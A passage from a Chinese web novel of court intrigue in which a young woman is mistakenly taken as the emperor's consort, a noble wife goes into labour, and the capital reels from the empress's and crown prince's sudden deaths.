“娘。”司徒静娘这会儿唤了母亲。 她随母亲,姓司徒,名静娘。 会取了这一个闺名,不外乎是降生时,司徒静娘很爱哭,那会的杨司马一幅心疼妻子的模样。 只道闺女爱哭,取一个静字,盼她贞静淑慧,做一位名门淑媛。 “我儿……”司徒夫人满眼的不舍得。 司马静娘又唤着亲娘,哄一番。最后,哄着司徒夫人睡着了。 从母亲的屋中离开,司徒静娘没回自己住的小院。 她吩咐一番,把亲娘要吃的药让丫鬟熬上。 一点小事,只要关乎亲娘的事情,司徒静娘都很仔细。 待着在主院吩咐一番后,司徒静娘离开主院。 她去了一趟东院。 东院,司徒大郎夫妻住的院子。在这儿,司徒静娘见着嫂嫂。 “嫂嫂。”司徒静娘一来,见着在哄了侄儿的嫂嫂,她唤一声。 “妹妹来了。”司马大郎的妻子梁氏招呼道:“妹妹快请落坐。” “好孩子,唤了姑母。”梁氏哄一哄亲儿子。 “姑,姑……”小童只会唤了一个简单的字眼。 年幼的小童落在司徒静娘的眼中,很是可爱,可是讨喜。 “娘很喜爱侄儿的。”司徒静娘瞧着侄儿,她对嫂嫂说道。 梁氏一听小姑子这话,她沉默了。 “爹和娘之间闹了矛盾,你大哥也没主见的。我一个妇道人家,又哪懂什么大道理。”梁氏满面愁容了。 “唉,还是你大哥说甚,那就做甚。”梁氏的出身不算太好,不过是富商嫡女。 梁氏会嫁给司徒大郎,纯粹是娘家攀附上来。 当然,杨司马会同意这一桩婚事,也有缘由。 不外乎是杨司马与梁富商有一些陈年旧事。 梁氏嫁进官宦人家,她这一个做儿媳的小辈。又哪能做什么主? 如今的婆家,公爹的地位最高。夫君都不敢忤逆亲爹。 她一个儿媳又哪敢多什么发言。 “我知,嫂嫂也是为难的。”司徒静娘在亲爹与亲娘之间,也是左右为难。 在心里,司徒静娘肯定是站了亲娘这一边。 可这些日子里,司徒静娘已经慢慢懂了一些道理。 世道这就样,从来不是谁有道理,谁就胜利者。 更可能是谁有权利,谁才是胜利的一方。 亲爹对于儿女的态度,差别太大。司徒静娘被单方便的漠视了。 司徒静娘想堵气的,可那时候,那些难熬的日子。 司徒静娘打小金尊玉贵的养大,她遭不住。 又有亲娘劝,正院的日子也是难熬起来。为着亲娘调养身子的各色贵重药材等等。 司徒静娘跟亲爹低了头,也便是低了头,日子又是恢复成了原来的模样。 尔后,司徒静娘也不傻了,她晓得跟哥哥嫂嫂走近些。 嫂嫂待司徒静娘的态度,还是一如既往。 “妹妹,有一桩事情,还要告知你。”梁氏的目光落在小姑子身上。 “嫂嫂,您请讲。”司徒静娘见着嫂嫂转移话题。 在心头,她一声叹息。 司徒静娘知道了,嫂嫂还是不乐意太亲近了娘亲。 嫂嫂为何如此?这一切的表现,不外乎还是父亲的态度罢了。 至于兄长? 司徒静娘除了一声叹息,还是一声叹息。 对于兄长的软弱性子,司徒静娘哀其不争,怒其立不起来。 “妹妹,听你兄长讲,爹好像要安排了你的终身大事。”梁氏讲道。 “我……”司徒静娘伸了手,一指自己。 “妹妹,你来年就及笄,如今定下婚约,乃是常理。”梁氏讲道。 “父母命,媒妁言。”司徒静娘微低了头颅,她讲道:“全由爹安排便是。” 司徒静娘是认命的模样。 大赵朝,北镇,节度使府邸。 万珍珠瞧着哭了一场的马小莲,她尴尬着。 万珍珠除了递上手帕子,一时间,她都不知道应该如何安慰了马小莲。 “让嫂嫂见笑了。”马小莲前头说自己认命。 这是上苍不佑。 可越是安慰自个,马小莲的心头越委屈。尔后,她忍不住的落泪了。 女郎落泪,柔弱可欺。 瞧着这般模样的马小莲,万珍珠除了递手帕子,连宽慰的话,万珍珠都得小心翼翼的讲一讲。 “天下好男儿多得是,二妹妹,你且宽心。你的婚事 ,我和你赵大哥一定关心。将来,你一定会嫁了一位如意郎君的。“万珍珠能怎么办? 承顺帝挖坑了,这是埋了万珍珠夫妻。 事情是万珍珠夫妻闹出来的,这当然得好人当到底。 出了茬子,那就是填坑。 总之,关于马小莲的婚事,万珍珠还决定管到底。 没法子,总不能半途落下了马小莲。 那样,真是结仇了。 若是能圆满了此事,把一点点的小劫圆过去。 想来,也便是一切美美满满,路途里的些风霜,不过是上苍的考验。 “嫂嫂,你和赵大哥从来是满心满意的待我好。我是有良心的,我知道谁好,谁不好。” 马小莲的心里,赵大哥和嫂嫂自然是好人。 至于不好的? 马小莲也不敢怨帝王。 能怨谁? 马小莲思来想去,她只能怨自己的命不好。 “老人们常说,人的命数有定。这福薄福厚,全是上苍的恩赐。”马小莲不怪旁人,她只怪自己。 “嫂嫂,我许是福薄的人。”马小莲想笑,可那笑容比哭更让人心疼了。 “富贵荣华,我不配了。”马小莲笑起来,让万珍珠都心疼着。 “糊涂话。”万珍珠又拿了手帕子,她亲自替马小莲擦一擦脸颊。 “新唐侯府有的富贵荣华,二妹妹也是自家人,如何沾不得光彩?又或者不想认了我这一个嫂嫂,不想认了你赵大哥这一位兄长?” 万珍珠拿出气势,还是反问一回。 “不,不,我怎么会。”马小莲被嫂嫂这气势一压。 马小莲有一种自己做错事,说错话的感觉。 “我心里一直觉得赵大哥和嫂嫂很亲切,你们就是我最尊敬的兄长、嫂嫂。” 马小莲的心里,赵大哥是改变了亲人的恩人与兄长。 在北镇,在父老乡亲们的口碑里,谁敢说了赵大哥半个字眼的不好。 那要被大家伙唾弃的。 至于嫂嫂? 嫂嫂万氏亲自走了各家,拜年时的亲切。马小莲全瞧在眼里。 嫂嫂虽是尊贵的公主殿下,可一直没拿自己当贵人。 而是真把大家伙当亲人。 这般好的兄长与嫂嫂,马小莲哪会想着把自己排除在外面去? 马小莲一直骄傲着,她有心疼她的许多位兄长。 兄长疼她,嫂嫂们也疼她。 这般好的亲人,马小莲当然珍惜着。 “二妹妹,好妹妹。既然我们是一家人。莫说什么福薄的话。” 万珍珠执了马小莲的手,笑道:“瞧瞧,肤若凝脂。这一瞧,就是富贵女郎的手。” “二妹妹这一辈子有多位兄长的疼爱,注定是要享了荣华的。”万珍珠说了大实话。 不凭旁的,只凭着马小莲的亲兄长马义有这般多的结义兄弟。 马小莲未来的姻缘,那就差不了。 真是差了,不是降了新唐侯府的威风吗? 侯府里,万珍珠在哄了马小莲。同时,她心头发狠。 待平安生了这一胎后,一定要好好的寻一个未来的妹婿。 大赵的中军拔营,往北镇归来。 可这归来前,承顺帝遇上了一桩喜事。挛鞮一族有降表。 这一回的降表,以挛鞮小汗的名义。 说是小汗,不过是挛鞮一族的谦逊态度。同时,挛鞮大石的嫡妻,挛鞮一族的阏氏在母族和赵济世等人的帮衬下。 这一位阏氏是办了一回大事。在族里,挛鞮大石的几个兄弟,凡是有能耐争了汗位的。 让阏氏给全部灭了。 或者说借了大晋、大赵的幕后暗线,还有阏氏母族的能耐。 在赵济世的操盘下,在阏氏的鼎力支持下。 这一回,关于挛鞮氏一族的上层清洗很顺利。 因为顺利,挛鞮氏一族的阏氏晋升了一辈的辈份,成了大阏氏。 她的一双儿女,女儿跟赵济世尚未出生的嫡长子定下婚约。 儿子则被扶上了小汗的位置。 同时,这一位挛鞮一族的小汗奉上降表,降于承顺帝。 有赵济世的暗中穿线,又有得了好处的一些人在承顺帝耳边唱赞歌。 虽然在挛鞮氏一族的身上吃了一回暗亏。 可,承顺帝还是接受了降表。 “唉。”中宫大帐内,承顺帝望着舆图,一声叹息。 “……”心腹太监在旁边侍立着,不敢多言什么。 承顺帝随口讲道:“朕收了挛鞮小汗的降表,下面可有非议之声?” “禀陛下,奴才只听着众人夸陛下天威赫赫,降服胡人。岂有人敢非议陛下,绝无此待忤逆之辈。” 承顺帝听着心腹太监的事禀话,轻轻颔首。 草原多胡人,而且是诸部落,各不一统。 哪怕草原出了名义上的大汗,这也不过是诸部的盟主。 真正想做到中原皇朝一般的大一统,草原上的诸部落嘛,没谁做到过。 草原上的大汗,或者枭雄之辈,从来是旋起旋灭,难得长久。 反倒是各部落的小汗,或者说所谓的草原贵种。 这些人联姻与通婚,在内部里维持着自己的权利交接。 再辅以胡人相信的信仰,如此,外有盘根错节的贵种之说。 精神之上,又有信仰孤束缚。 这等从内到外的统治,更见根深。 胡人有胡人的活法,他们跟中原人是不一样的。 因为草原上的法则更血腥,更无序,更野蛮,也更加的赤祼。这里奉行了丛林法则,弱肉强食。 大帐内,承顺帝又在思考一些事情。 哪怕身子骨不太好,伤势未曾痊愈。为着燕京都的局势。 承顺帝需要大胜之威。甭管真假? 不,应该说丧事喜办,承顺帝也得接了挛鞮一族的降表。 如此,才是表明他全取了大胜之功。 有些牌面,帝王很需要。 赵济世在归途中,他不是守了帝王的门神。 贞静公主的未来驸马蓝诚是承顺帝收的新门神。 这一日,巡营结束。 赵济世回了自己的大帐歇息,可未歇息前。 赵济世收了一个消息。 “怎会如此?”赵济世很惊讶。 赵济世得着燕京都的新消息。这事情闹得很大。 因为瞒不住人的。 燕京都的大赵皇后薨了,不止如此,皇后生的嫡皇子也殁了。 “……”赵济世知道这一个消息后,一时间也给干沉默。 这时候的赵济世很想知道了,帝王是啥想法?当然也免不得猜测一二,燕京都又起啥幺蛾子。 无缘无故的,皇后和嫡皇子一起殁了。这没一点缘由,没一点妖风,那肯定是闹不出来这样的大事。 大赵朝,北镇,节度使府邸。 万珍珠接到了燕京都的消息,按说,她应该比赵济世这一边早。 实则,万珍珠知道了燕京都出在事,那比着赵济世还晚。 在知道的燕京都的风云后,万珍珠也吓唬一回。 “燕京都的水,真深。”万珍珠感慨一回。 想着燕京都的水这般深,万珍珠又想到了镐京都里的爹娘。 同为京都,那肯定都是水深的。 在镐京都时,万珍珠可谓是风风光光,入目之时,尽是笑容与鲜花。 无外乎是亲爹太给力,让万珍珠遇见的尽数是“好人”。 至少对着她这一位浑江公主时,不是好人,也得装了好人,干了让万珍珠高兴的好事。 “嫂嫂,皇后娘娘是国母。如今娘娘出事,这要守一年的国孝吧。”马小莲讲道。 “自是如此。”万珍珠赞同一回。 “民间百姓得守了国孝,我们这等人家,更得守了国孝。”万珍珠太知道。 做为新贵,不知道多少人想抓了新唐侯府的小辫子。 那不授人以把柄,这是最基本的操作。 “嫂嫂,如此一来,我的婚事真不急。”马小莲提了一事。 打从跟忠顺男的可能性,那是一点没了后。 马小莲就瞧着,为她的婚事,嫂嫂是似乎上火了。 马小莲瞧在眼中,急在心底。 马小莲不恨嫁了,或者说在忠顺男这一事上,马小莲吃了教训。 急,那是越急越出错。 倒不如躺一躺,缓一缓,等一等。反正好饭不怕晚。 马小莲一改性子,就像安静一番,守了岁月静好。 马小莲这等态度落万珍珠的眼中,这真成了,情伤了。 虽然男女二人没见面,可这少女心思,最容易搅乱一池春水。 万珍珠恨,恨自己当初多嘴,怎么没就缓一缓。 等事情定了,换了婚贴,更是嚷嚷了。 万珍珠觉得自己的定力不够。至少,她真这么认为的。 大赵朝,燕京都。 因为皇后薨逝,嫡皇子殁了一事,宫廷之内,哀伤气氛一片。 有一处可能有一点 不一样。那便是太上皇的寝宫。 太上皇对于儿媳没了,他似乎看淡了。 倒是对于亲孙子殁了,太上皇大怒。着宫廷严查。 太上皇想严查,可惜,这一位失了权势。如今的宫廷内苑,承顺帝的心腹拿捏着。 只是承顺帝的心腹们,那也不能明面顶了太上皇的话。 这权势在上,太上皇倒底是上皇。 这一位真想打死一个奴才,那也是一句吩咐的事情。 承顺帝的心腹们,那也是明面附合,能等一等事情,总要缓一缓。 缓不了的,那就大事化小,小事化了。 至于是不是糊弄太上皇?这是一个仁者见仁,智者见智的问题。 后宫嫔妃,各有寝宫。 倒是太上皇的嫔妃们,那早搬离了当年的寝宫。 有地位的,还是享受尊荣。若不然的话,那就是被打发了某一个角落里,哀哀渡日。 德太妃是太上皇的皇父宠妃,当年得宠。可惜,连换两帝,这日子嘛,也是勉强的很。哪怕有太上皇的关照,也是差一点意思。 德太妃的膝下有一个亲闺女贞静公主。 贞静公主的婚事,因着替永治帝的父皇守孝,也是耽搁几年。 “我儿,皇帝给你赐婚一事。唉。”德太妃叹息一回。 “母妃。”贞静公主说道:“忠顺男也是一位英雄人物。这一桩赐婚,想必陛下也是多番思量。” “哼,不外乎拉拢了忠顺男。”德太妃看得明白。 “不过也好。”德太妃笑道:“忠顺男是皇帝心腹,到底前程有望。” “只是如今,局势又变。宫廷内苑,皇后和嫡皇子连连出事。怕是皇帝一归来,又要闹祸事。我儿,你的婚事定了,母妃这是了一桩心愿。” 德太妃最初是不满意忠顺男这一个未来的女婿。 在皇后、嫡皇子出事后,又觉得这一桩婚事也不错。 “可惜,你父皇不在了。你的公主府,唉,也是让内府的奴才们借口拖延着。”德太妃对于宫廷内苑的奴才很不满意。 倒是贞静公主不在意的样子。 “母妃,一切待陛下归来吧。”贞静公主沉得住性子。 “这宫廷内苑,还有风波。我们母女能少掺合一些,便是避些的为好。” 贞静公主劝了话,德太妃一听女儿的意思,也是连连点头同意。 大赵朝,北面草原上。 帝王的大帐内,承顺帝晕厥醒来。 “……”帝王瞧着太医在替自己诊脉。承顺帝心头很烦。 可当着众人的面,帝王不能显露心情坏透了。 承顺帝只是问了太医,他这情况如何。在太医的嘴里,承顺帝听来听去,他的情况不太好。 又或者说需要好好的调养,这一回,不过是怒极攻心。 在心头,承顺帝可不觉得,他是怒极攻心。 承顺帝觉得,他是气狠了。 这会儿承顺帝只有一个念想,赶紧回燕京都。 可越是急了,越不能急。 于是本来开拔的大军,那速度还是慢下来。 承顺帝差了心腹太监,吩咐皇室的暗卫查一查。 不用禁卫那一边的人脉去查。而用太监组织的暗卫。 帝王如今对于燕京都里的臣子,个个打了怀疑的目光。 皇后薨了。 这消息落进帝王耳里时,他不敢相信。 离开燕京都前,承顺帝太清楚了,他的皇后健康的很。 人既然健康,突然没了。这里面的猫腻太大了。 还有嫡皇子,那是承顺帝的继承人。 天家的继承人没了,帝王当然火大的很。 在心中,承顺帝有怀疑的人选。只是他不讲。 或者说承顺帝怀疑的人太多。 承顺帝要等一等,要瞧一瞧。如今的承顺帝准备在北镇停了大军。 帝王有吩咐。自然一切按了帝王的吩咐来安排。 北镇,迎来了帝王的大驾。 万珍珠早早得了消息,哪怕早知道。万珍珠还是挺惊讶。 因为万珍珠得搬家。节度使府邸得让出来,暂时供帝王使用。 至于万珍珠,她是暂时的住了客栈里。 没住了别人的府邸,不外乎是万珍珠不想罢了。 包了客栈,万珍珠很放心。因为这客栈是属于北镇商社的产业。 也是万珍珠的产业,这住自己家的客栈里,太放心了。 这安全上有保证的。 万珍珠如今很注意了安全。要知道堂堂的中宫皇后,说没就没了。太吓人了。 第79章 大赵朝,北镇,节度使府邸。 承顺帝暂驻于此,关于燕京都的消息,帝王一直在关注。 越是听着燕京都的风声,承顺帝越不打算急着回了燕京都。 有些跳梁小丑,承顺帝打算再瞧一瞧。 说不上是一网打尽,承顺帝就是心头憋了一口火。 帝王之怒,总要烧掉一些灰灰。 至于这些灰灰,扬了之前,是甚的东西或者人物? 这不重要。 至少承顺帝不在意。 北镇,客栈。 赵济世被帝王打发来此。赵济世见了妻子。 “如何住了客栈?”赵济世一见着妻子,关切的问道。 客栈,这落于赵济世的眼中,倒底不是长居之处。 “这是自家的产业,我住着心安。”万珍珠实话实说。 “济世哥哥风尘朴朴,一定累坏了吧。”万珍珠执起夫君的手,笑道:“我差人备了热水,你先沐浴一番。再是用些小食,睡一觉。” “有旁的话,待济世哥哥歇息好了,我们再慢慢谈,仔细谈。”万珍珠安排一番。 “好,全听珍珠妹妹的安排。”赵济世不拒绝了妻子的话。 赵济世沐浴一番时,万珍珠拿着书籍,还是仔细的翻阅起来。 待赵济世沐浴好,万珍珠又陪着丈夫一起用饭。 二人用饭,用得颇香。 用罢,简单的洗漱一番。赵济世就是被妻子催一催,便是上榻入眠去。 这会儿的万珍珠是坐于窗边小榻上,她望着渐渐睡熟的丈夫。 万珍珠仔细的端详了对方的容貌。 明明有北面草原的风霜,可瞧上去,如今的赵济世在万珍珠眼中更有韵味了。 那是一种时光打磨后的韵味。 落万珍珠眼中,这般的赵济世更俊郎,更威武,更让人动心。 赏心悦目,如何发现? 万珍珠有一双发现美的眼睛,这不,她就善于发现一眼夫君的美貌。 秀色可餐,这四字,万珍珠太赞同了。 想这些时,万珍珠抚了一下小腹。她感受到了腹中孩子的胎动。 “好孩子,你也赞同娘的话。”万珍珠轻声的呢喃一句。 “你爹爹,他真俊。”万珍珠忍不住的夸一回话道。 大赵朝,燕京都。 太上皇对于自己的儿子还是关注的。特别是大捷的捷报。连连发往燕京都后。 燕京都的风声,那都是起了一些变幻。 燕京都,崔府。 崔八姑娘在瞧了自己的嫁衣。旁边,崔九姑娘说道:“姐姐的女红真好。” “瞧瞧,姐姐这一针一线,尽是功夫。我瞧着,也是欢喜了这嫁衣,姐姐绣的太好,太漂亮了。”崔九姑娘实心的夸一回。 对比自己的女红,崔九姑娘觉得自己再多夸一夸,那也不为过的。 “不过一点闺阁里的女红,妹妹夸了,也是自家姐妹之间笑谈罢了。真传出去,倒容易弄成了笑话。”崔八姑娘伸手,虚虚一点妹妹的鼻间。 “我这女红,再是好,又哪能好过那些绣娘的本事。”崔八姑娘还是有自知之明。 她不过闲时的一点趣味。真比不得靠了绣艺吃饭的绣娘们。 “绣娘们的妇红,不过是满身的匠气。”崔九姑娘不高兴。 “姐姐,你这女红,瞧瞧,那才是充满了灵性。”崔九姑娘的眼中,亲姐姐自然是哪哪都好。 崔八姑娘被妹妹一夸,只笑笑。 “姐姐,我听说了,姐夫的前程有了新的定论。”崔九姑娘一幅我有秘密的模样。 “……”崔八姑娘这一回真恼了。 “妹妹,你又偷听父亲和兄长的谈话了?”崔八姑娘小心的跟妹妹咬耳朵,小声的问道。 这会儿崔八姑娘一小心,崔九姑娘也是压低了声音。 “姐姐,你知道的,我就是无心的。”崔九姑娘尴尬一笑。 崔八姑娘可不信妹妹的话。只是如今嘛,事情已经闹出来。 “妹妹,往后不可了。一旦让爹发现,这如何收场?”崔八姑娘可知道父亲的眼中,有些事情是揉不得沙子。 崔八姑娘是真的关心妹妹。 免不得,崔姑娘也怨了父亲院里的一些小厮。 唉,说来说去,还是崔八姑娘的锅。 崔八姑娘自己也认栽。 崔八姑娘怨了自己当年的轻乎,当初发现了府里的暗道。 她真不能图一时痛快,还是告知了妹妹。 “姐姐,我保证,我往后一定不会了。”崔九姑娘赶紧认错。 妹妹认错了,崔八姑娘能怎么办?当然是原谅妹妹。 “妹妹,你答应了我,一定得做到。”崔八姑娘握了妹妹的手,再三要一个保证。 崔九姑娘连连保证。 崔八姑娘的神情这才缓和下来。崔九姑娘见着姐姐舒展一二的神色。 崔九姑娘才说道:“这一回常二公子跟着东镇的李节度使出征在外。又立有军功。听说,未来的姐夫可能,不,应该是一定会做了爵爷。” “……”崔八姑娘听得这话,她心头是欢喜的。 对于崔八姑娘而言,将要嫁入宁国公府。她当然盼着未来的夫婿前程无量。 只在心中,崔八姑娘还是多番思量。有些欢喜,不一定挂在表面上。 大赵朝,北镇,客栈里。 赵济世醒来时,他瞧着支了胳膊,还是守了榻边的妻子。 “济世哥哥醒了。”万珍珠笑道。 “珍珠妹妹,你这是做甚?”赵济世瞧着妻子的做派,也给吓唬一跳。 “我刚才读了书,这会儿歇一歇眼睛。”万珍珠眨一眨大眼睛,那是半真半假的讲道。 真是歇一歇眼睛,就是欣赏一下睡美人。也算得真歇息。 “济世哥哥,我和腹中的孩子一直有散步的习惯。这会儿,我们一起去赏赏秋景,好不好?” 万珍珠问道。 “好。”赵济世不拒绝。 于是夫妻二人在客栈的小小花园里散散步。 这客栈打从万珍珠住下来,那对外的消息,就是整座客栈让贵人全包下来。 客栈不对外营业,主打一个服务于万珍珠这一个东家一人。 包括赵济世和马小莲等人,那是顺带被服务一回的人。 “秋日,又是一年秋。”赵济世感慨一回。 “是啊,又是一年秋,我也临近了产期呢。”万珍珠的肚子大了。 “济世哥哥,我们的孩子很快会降生。你得想一想,替我们的孩子想一个好名字才成。” 万珍珠给丈夫寻一个差事。 这差事落进赵济世的耳里,这是美差。 “好,我一定给我们的孩子挑一个好名字。”赵济世应承下来。 “辛苦珍珠妹妹了。这般久的时日里,我都不在妹妹身边。让妹妹一人支撑府内府外的事宜。”赵济世回来后,也听着下面人的禀话。 关于北镇发生的事情,赵济世一一关注着。 对于妻子,赵济世不是感激,而是心疼。 赵济世迎娶心上人时,他盼着替她遮风挡雨。 让心上人一辈子欢喜,一辈子开心。 哪料想,成婚后,二人聚少离多。特别是妻子怀了孩子的情况下,他不能多陪伴了妻儿。 问赵济世,他心有遗憾的。 只是再遗憾了,让赵济世选择,他还是会选择建功立业。 原由太简单了,这世道不太平。为了护家,为了给孩子更好的未来。 那当然是奋斗,前进,努力的攀上更高的位置。 因为站在上面的人,更能从从容容。 大度的人,那也得看站了什么样的位置。上位者的大度,那叫仁。 位卑者的大度,那叫怯。 北镇,郡城,司徒宅。 或者说郡司马的宅第。杨司马瞧着面前的女儿司徒静娘。 “我儿,有一桩天大的机缘降了你的身上。”杨司马很高兴。 司徒静娘心慌慌。瞧着父亲一脸的慈祥,简直就是太难得。 “爹,女儿一介女郎,何来天大的机缘?”司徒静娘尽量的镇定一些。 可司徒静娘微颤抖的声音,还是让她的紧张暴露出来。 “好孩子,你是有福的。”杨司马夸一夸女儿。 “为父得了消息,北镇有心向天子献美人。天子近臣,有一二暗示之语。”杨司马知道这一个消息时,他太高兴了。 因为杨司马真有一个亲生的闺女,待字闺中。 杨司马可盼着父凭女荣。 特别是燕京都传来的消息,皇后薨了。嫡皇子殁了。 在这等情况下,宫廷内苑的情况如何?杨司马就一个念想。 如果可以的话,杨司马也想自家的门第跟天家沾一沾光彩。 “……”司徒静娘沉默了。 “我儿,如何不言语?”杨司马问道。 “……”司徒静娘不知道说什么。 “爹,天子太尊贵,女儿配不上。”司徒静娘只能说这么一句。 若能为妻,没谁想为妾。还是天子妾,那更是为难人。 宫廷内苑,富贵荣华。 司徒静娘在父亲身上没感受了几分父爱。只是这一个世道里,父在上,儿在下。 司徒静娘对于父亲反抗不得罢了。 更何况司徒静娘想嫁了一个良人。明明前面嫂嫂都讲了,父亲替她瞧上了一门姻缘。 哪料想,在天家有意时,这富贵更惹人眼。 亲爹这是要变卦了。 问题是司徒静娘不想当了献美给天子的那一位美人。 北镇,节度使府邸。 马小莲又归来一趟。明明她应该跟嫂嫂一起住了客栈里。 可马小莲寻着查帐的借口,她出来一趟。领了丫鬟婆子又回来一趟节度使府邸。 马小莲就一个心思,她想瞧一眼忠顺男。 对于忠顺男,马小莲没见过模样。如今瞧一瞧,马小莲才能死心一回。 不知道是凑巧,还是不凑巧。 马小莲没见着忠顺男蓝诚。马小莲撞上了承顺帝身边的心腹太监。 “这一位是新唐侯的义妹?”这一位全内相望着马小莲,满面笑意的问话道。 “义兄确实是新唐侯。”马小莲对于赵大哥的身份,于有荣焉。 “好,好。新唐侯果然是忠贞之辈。一心替天子分忧。”全内相很满意了,他只是暗示一番。 这不,新唐侯就是献了义妹。 这义妹,可不止是义妹。万内相也听着一二风声。 这一位新唐侯待义妹如亲妹。 全内相是承顺帝跟前的心腹。帝王有吩咐,全内相当然要一心一意的办妥当了。 “马姑娘,您请。”全内相客客气气的态度,还是迎了马小莲往府内去。 “……”马小莲愣在当场。 这陛下歇在了节度使府邸内,这不应该守卫森严吗? 马小莲来一趟,她是想见一见忠顺男。 这,一旦跟全内相掺合了一起。马小莲迷糊。 这妥当吗?马小莲拿不定主意。 可拿不定主意的马小莲,她就被全内相牵着鼻子走。 节度使府邸的正院。 承顺帝见着心腹归来,全公公在帝王跟前态度恭敬。 “陛下,奴才一二暗示。新唐侯献了义妹进府。”全公公一五一十的说了,他认知的真相。 “新唐侯,真忠臣。”承顺帝很满意了新唐侯的态度。 只能说,全公公的话误导了帝王。 而在内宅里,被嬷嬷安排一番的马小莲这会儿也醒过神来。 只是,晚了。 马小莲误打误撞,她是入了局内,一个帝王布的局里。 “既然是新唐侯的美意,朕就不必辜负了。”承顺帝的唇畔有若隐若现的笑意。 “只朕在疗养中,马氏……”承顺帝沉默片刻后 。 “先给个封号,贞,元亨利贞的贞。晋马氏为美人。”承顺帝又吩咐一番话。 “唯。”全公公应下话。 北镇,客栈。 万珍珠安排了夕食。 “殿下,马姑娘未归来。”万嬷嬷到了用夕食的时间时,凑了万珍珠的跟前禀了消息。 “二妹妹还没回来。”万珍珠惊讶一回。 北镇的郡城又不是多大的城池。马小莲去府外,也就是巡视一二她的嫁妆铺子,盘一盘帐。 这,又岂能耽搁了太久的时间? “去,查人赶紧问一问,究竟什么情况?二妹妹如何晚归府。”万珍珠吩咐一句。 “唯。” 万嬷嬷应了话,又是吩咐差遣。 赵济世也听着万嬷嬷的禀话,他的神色不变。 只待万嬷嬷退下去后,赵济世方才问道:“往日,二妹可有晚归?” “不曾。”万珍珠说的肯定。 “这等意外,还是头回遇上。”万珍珠也是惊讶的很。 说起来,新唐侯府算是北镇的地头蛇。如此,万珍珠觉得自己才是大意了。 女郎晚归,这,应该不会有意外吧?万珍珠在心底千万祈福,一定是一场虚惊。 万嬷嬷那一边的消息,还没有传回来。 万珍珠和夫君赵济世得着新消息,天使前来降圣意。 “……”此时此刻,万珍珠和夫君赵济世一起惊讶。 圣意来此,真是突然。 当然,突然归突然,当下最要紧的还是赶紧接了圣意。 等着见了天使,万珍珠知道了天使的来意。 天使很客气,他是宫里的小黄门。 来传了圣谕,尔后,又是连番的恭喜。 赵济世笑容扬在脸上,谢过天使,谢过来此的诸人。 等着打发走天使后,赵济世的笑脸维持不住。 “这是出了什么意外?二妹如何成了天子嫔妃。”赵济世的脑子差一点给捣成一团浆糊。 莫说赵济世糊涂,万珍珠也一样糊涂着。 “这里面会不会误会什么?”万珍珠这般说道。 “天子谕令,岂能做假。”赵济世摆摆手。 “那,济世哥哥,二妹妹那儿,往后可怎么办?”万珍珠替马小莲捏一把汗。 宫廷嫔妃,岂是善茬。 马小莲的性子,一旦入宫,真不一定是好事儿。 “唉。”赵济世一声叹息。 有些话,赵济世没讲。赵济世对于帝王受了重伤一事。 赵济世太清楚了。 虽然对外时,帝王的伤势,统一的说法是轻伤。 已经基本上痊愈了。 可真相嘛,不过是少数人知道的。 赵济世就是少数人之一。因此,赵济世更担忧了义妹的前程。 做了天子嫔妃,这一辈子就是绑在了天子的身上。 天子伤着根基,二妹年纪轻轻。这未来怎么办? 赵济世太担忧了。他更怕义弟知道二妹的事情后,在燕京都的兄弟们也要一道的担忧了。 赵济世这会儿心头万般的思绪。只是他不能真的发泄出来。 赵济世宽慰了妻子,他说道:“神情如何,我让人再查一查。” “再说,我和诸兄弟们做后盾。二妹总会有依仗,在宫廷内苑,也不会让人生吞活剥着。陛下看在臣子的一片忠心份上,想必,会优容二妹三分。” 赵济世能怎么办? 事情一旦闹出来,当然是想法子解决问题。 “唉呀。”万珍珠这会儿捂住了肚子。 “怎么了?”赵济世关切的问道。 “我……”万珍珠伸手抚着腹部。 “济世哥哥,我好像要生了。”万珍珠有一种感觉。她可能真的要生了。 “……”赵济世当场有一点慌神。 好在,慌归慌,那是心底的情感。面上,赵济世稳得住。 赵济世唤了侍候妻子的仆从,让诸人按章程办事。 请产婆来,请大夫来。 应该咋样,就先咋样。 至于赵济世,他是抱着妻子进了屋内。 等产婆一来,再一瞧情况。 “夫人,您这情况,确实是要生了。只是一时半会儿的,这还没要生了小世子的时候。” 产婆瞧过情况,大概的估算了时间。 这一告知,万珍珠心头有底。于是她嚷嚷一回,让万嬷嬷差人备了吃食。 关于生孩子,在万珍珠的心里也是一桩力气活。 这不,明明很疼。 万珍珠还是忍一忍,她要用一些吃食。等会子,那才能全心全意的生孩子。 至于赵济世,他很担忧的。奈何,他让产婆请出了屋子。 在外面,赵济世的神色平静,可眼中的情绪却是瞒不了人。 赵济世的一双眼眸子里,全是各种复杂的情绪。 有焦急的,有担忧的,等等不一而足。 这一日,客栈里,也是一派的忙碌。 节度使府里,马小莲被人送到了帝王暂居的屋子。 这是马小莲头一回见着天子。 “恭请陛下圣安。”马小莲穿着宫装,她向天子参拜大礼。 “免礼,平身。” 承顺帝唤了马小莲起身后,马小莲慢慢的抬了头。 她打量了帝王的容貌。 “你倒胆大。”承顺帝笑道。 “……”马小莲愣在当场。 她似乎想说些什么,可一时之间,她又不敢说了。 “怎么,有话想讲?”承顺帝问道。 “嗯。”马小莲轻轻点头。 “说。”承顺帝简单的讲一字。 “我……”马小莲说了一个我字后,又是讷讷无言。 一时半会儿的,马小莲吐不出来一个字。 可帝王不发话,马小莲又是鼓足了勇气。良久后,马小莲说道:“陛下,您为什么选择了我做您的嫔妃?” “不是爱妃自个愿意的,朕倒成了强夺不成?”承顺帝问道。 “可,这里面有误会。”马小莲急红了脸蛋儿。 “……”承顺帝神色一僵。 “那爱妃说一说,误会在何处?”承顺帝便是顺嘴一问。 马小莲多直的性子,帝王问了,她真讲了。 承顺帝这会儿是单独见一见嫔妃。 毕竟马小莲让嬷嬷给梳洗了一番。她的身上,肯定没什么凶器。 此时的马小莲一番话讲完,承顺帝就一个念头。 小全子办事,不周全啊。 至于马小莲这一事,是不是误会?承顺帝不在意。 承顺帝暂时的住在北镇,也是在默默的给燕京都施压力。 至于说纳了一二嫔妃,也是承顺帝的隐隐宣誓。 帝王在告知了世人,他的龙体好着。 若有肖小,也能称量一二。那还是能收手,尽快的收手。 毕竟帝王是大胜而归,这挟大胜之威,可以办很多事情的。 承顺帝接收一二的北镇美人儿,一则宣誓龙体康泰外。 二则嘛,承顺帝更想拉拢一二人手。 或者说,承顺帝想顺道再提拢一二的新贵。 新贵,承顺帝不介意多一些。 这一回的北胜,承顺帝不止想晋封了新唐侯。 也不止想扶一把忠顺男。 承顺帝是喜欢平衡一术的。这不,新贵们,一旦多起来,那就是不值钱了。 这里面的度,承顺帝是要拿捏的。新贵,沾了一个贵字。 